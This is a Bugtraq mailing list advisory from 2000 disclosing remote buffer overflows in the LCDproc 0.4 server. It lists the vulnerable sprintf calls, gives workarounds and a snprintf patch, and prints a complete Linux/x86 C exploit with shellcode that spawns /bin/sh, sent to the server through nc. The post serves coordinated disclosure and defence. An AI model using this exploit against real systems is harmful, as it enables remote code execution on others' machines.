Bugtraq mailing list archives

Remote vulnerability in LCDproc 0.4


From: chaos () STRANGE NET (Andrew Hobgood)
Date: Fri, 21 Apr 2000 01:12:18 -0400


-----BEGIN PGP SIGNED MESSAGE-----

==============================================================
=== Title:              Vulnerability in LCDproc           ===
=== Date:               20 April 2000                      ===
=== Author:             Andrew Hobgood <chaos () strange net> ===
==============================================================

[ Note: The LCDproc maintainers have been notified of this vulnerability, ]
[       and have stated that they are prepared for this advisory to be    ]
[       released.                                                         ]

=================
=== Specifics ===
=================

LCDproc (http://lcdproc.omnipotent.net) is a system to display system
information and other data on an LCD display (or any supported display
device, including curses or text).  As of version 0.4, the system utilizes
a client/server model for communication, and clients wishing to display
data on the LCDproc host device can connect to the LCDproc server and
negotiate a session.

This system is commonly used in embedded server environments and other
locations where system statistics must be available quickly, but space
requirements or other restrictions prevent connecting a monitor or other
display unit.  Also, since it must often communicate with the LCD device,
it is commonly installed setuid root or setgid uucp.

While this system provides for a highly extensible means of displaying
data, the protocol handling code has a few bugs with dire consequences.

The vulnerabilities in LCDproc allow an attacker to remotely execute
arbitrary code or cause the LCDproc server to crash.

Improper boundary conditions exist at various locations in the code,
including:

[ Note: argv[0] in this context is *not* the argv[] from main(). ]

parse.c:149: sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
screenlist.c:119: sprintf(str, "ignore %s\n", old_s->id);
screenlist.c:134: sprintf(str, "listen %s\n", s->id);

As well as other locations.

==============
=== Impact ===
==============

Any system running LCDproc 0.4 or above (including the 0.4-pre series) that
is susceptible to buffer overflow attacks is vulnerable.  The exploit below
is only for Linux/x86, and has limited attack potential, but that does not
mean that the scope of the attack is limited only to that platform.

Remote access can be gained as whatever user and group that LCDproc is
running as.

==========================
=== Temporary Solution ===
==========================

Disable LCDproc, or downgrade to version 0.3 or before, prior to the client/
server implementation in 0.4.

There is also a patch included in this message which can be applied against
LCDproc version 0.4-pre9 (available from the LCDproc home site at
http://lcdproc.omnipotent.net).

================================
=== Patch (against 0.4-pre9) ===
================================

[ This patch is also available at                          ]
[ http://web.strange.net/patches/lcdproc.20April2000.patch ]

(Patch has been attached to this message to prevent linewrapping and other
such confusions.)

===============
=== Exploit ===
===============

[ Note: This code launches /bin/sh on the remote site.  Unfortunately, this ]
[       shell is execve()'ed, and inherits the stdin/stdout of the main     ]
[       LCDproc process, and therefore just runs /bin/sh on the remote      ]
[       site, instead of over the socket.  Blah.  I didn't feel like        ]
[       hacking up shellcode to do something more productive.  I'm sure     ]
[       that someone else much more capable than myself will take care of   ]
[       that on my behalf.                                                  ]

/*****
 * lcdproc-exploit.c
 *****
 *
 * LCDproc 0.4-pre9 exploit
 #
 # Andrew Hobgood <chaos () strange net>
 * Kha0S on #LinuxOS/EFnet
 *
 * Tested on Linux/x86 2.2.5-15smp (the only Intel box I could get my hands
 * on for testing).
 *
 *****
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFFERSIZE 269
#define NOP 0x90
#define OFFSET 0xbffff750

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
        "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
        "\xff\xff/bin/sh";

int main(int argc, char **argv) {
        char *ptr, buffer[BUFFERSIZE];
        unsigned long *long_ptr, offset = OFFSET;
        int aux;

        fprintf(stderr, "LCDproc exploit by Andrew Hobgood <chaos () strange net>\n\n");
        fprintf(stderr, "Usage: (%s [<offset>]; cat) | nc <target> 13666\n\n", argv[0]);

        if (argc == 2) offset += atol(argv[1]);

        ptr = buffer;
        memset(ptr, 0, sizeof(buffer));
        memset(ptr, NOP, sizeof(buffer) - strlen(shellcode) - 16);
        ptr += sizeof(buffer) - strlen(shellcode) - 16;
        memcpy(ptr, shellcode, strlen(shellcode));
        ptr += strlen(shellcode);
        long_ptr = (unsigned long *) ptr;
        for(aux=0; aux<4; aux++) *(long_ptr++) = offset;
        ptr = (char *) long_ptr;
        *ptr = '\0';

        fprintf(stderr, "Buffer size: %d\n", (int) strlen(buffer));
        fprintf(stderr, "Offset: 0x%lx\n\n", offset);

        printf("hello\n");
        fflush(stdout);
        sleep(1);
        printf("screen_add {%s}\n", buffer);
        fflush(stdout);

        return(0);
}

/*** end lcdproc-exploit.c ***/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQCVAwUBOP/jNrVO5F5M77LBAQEW8wQAh9dJRKmc+V/M6K+4a+LK5Har+QiNuaaF
IlIQEeMDa/LrmbdZJHMBCjpYSFahGF/1ihBzb0yU2juYlIVLZjD0jo3B8gkQh5mk
wWa+18rwNmD8O4H7y/FFqBTWqTDdqpDWiVR3OB4vI0yMiOM7r09TupVTfyzP3z6h
QvwIasYme/0=
=R713
-----END PGP SIGNATURE-----


diff -ur ./WHATSNEW ../lcdproc-hacked/WHATSNEW
--- ./WHATSNEW  Thu Oct 21 20:04:59 1999
+++ ../lcdproc-hacked/WHATSNEW  Thu Apr 20 13:53:54 2000
@@ -11,6 +11,11 @@
  * Better syntax for driver parameters
  * Dynamically-loaded driver system
 
+>> Patched for bugs as follows by Andrew Hobgood <chaos () strange net>:
+ * Three buffer overflows in various locations [screenlist.c, parse.c, others]
+ * Prevent too many arguments from walking over the boundary of the fixed
+   client_func argv.
+
 V0.4-pre9:
  * small fixes for irix
  * Added flag in LCDd to shut off server screen:  
diff -ur ./server/client_functions.c ../lcdproc-hacked/server/client_functions.c
--- ./server/client_functions.c Thu Oct 21 18:14:21 1999
+++ ../lcdproc-hacked/server/client_functions.c Thu Apr 20 14:12:42 2000
@@ -68,7 +68,7 @@
    
    for(i=0; i<argc; i++)
    {
-      sprintf(str, "test_func_func:  %i -> %s\n", i, argv[i]);
+      snprintf(str, 256, "test_func_func:  %i -> %s\n", i, argv[i]);
       printf(str);
       sock_send_string(c->sock, str);
    }
@@ -89,7 +89,7 @@
    
    debug("Hello!\n");
 
-   sprintf(str,
+   snprintf(str, 256,
            "connect LCDproc %s lcd wid %i hgt %i cellwid %i cellhgt %i\n",
            version, lcd.wid, lcd.hgt, lcd.cellwid, lcd.cellhgt);
    sock_send_string(c->sock, str);
@@ -193,6 +193,9 @@
    }
 
 
+   // truncate argv[1] so that it can't be used later to overflow any
+   // buffers.                         Andrew Hobgood <chaos () strange net>
+   argv[1][128] = 0;
    debug("screen_add: Adding screen %s\n", argv[1]);
    err = screen_add(c, argv[1]);
    if(err < 0)
diff -ur ./server/parse.c ../lcdproc-hacked/server/parse.c
--- ./server/parse.c    Sat Feb 20 20:53:23 1999
+++ ../lcdproc-hacked/server/parse.c    Thu Apr 20 14:06:52 2000
@@ -93,12 +93,21 @@
                if(newtoken && str[i])
                {
                   newtoken=0;
-                 argv[argc] = str + i;
-                 argc++;
-              }
-              else
-              {
-              }
+                 // make sure that we're not going to go over the fixed 
+                 // number of allowed arguments in argv
+                 //                    Andrew Hobgood <chaos () strange net>
+                 if(argc < 255) 
+                 {
+                   argv[argc] = str + i;
+                   argc++;
+                 } else 
+                 {
+                   debug("Too many arguments, ignoring past 256.\n");
+                 }
+               }
+               else
+               {
+               }
             }
             if(inquote)
             {
@@ -135,7 +144,9 @@
             if(invalid)
             {
                // FIXME:  Check for buffer overflows here...
-              sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
+              // You were right -- there was one here. =)  More or less 
+              // fixed:                Andrew Hobgood <chaos () strange net>
+              snprintf(errmsg, 256, "huh? Invalid command \"%s\"\n", argv[0]);
                sock_send_string(c->sock, errmsg);
             }
 
diff -ur ./server/screenlist.c ../lcdproc-hacked/server/screenlist.c
--- ./server/screenlist.c       Fri Mar 12 00:20:39 1999
+++ ../lcdproc-hacked/server/screenlist.c       Thu Apr 20 14:09:03 2000
@@ -116,7 +116,7 @@
             c = old_s->parent;
             if(c)  // Tell the client we're not listening any more...
             {
-              sprintf(str, "ignore %s\n", old_s->id);
+              snprintf(str, 256, "ignore %s\n", old_s->id);
                sock_send_string(c->sock, str);
             }
             else  // The server has the display, so do nothing
@@ -131,7 +131,7 @@
          c = s->parent;
          if(c)  // Tell the client we're paying attention...
          {
-           sprintf(str, "listen %s\n", s->id);
+           snprintf(str, 256, "listen %s\n", s->id);
             sock_send_string(c->sock, str);
          }
          else  // The server has the display, so do nothing


Current thread: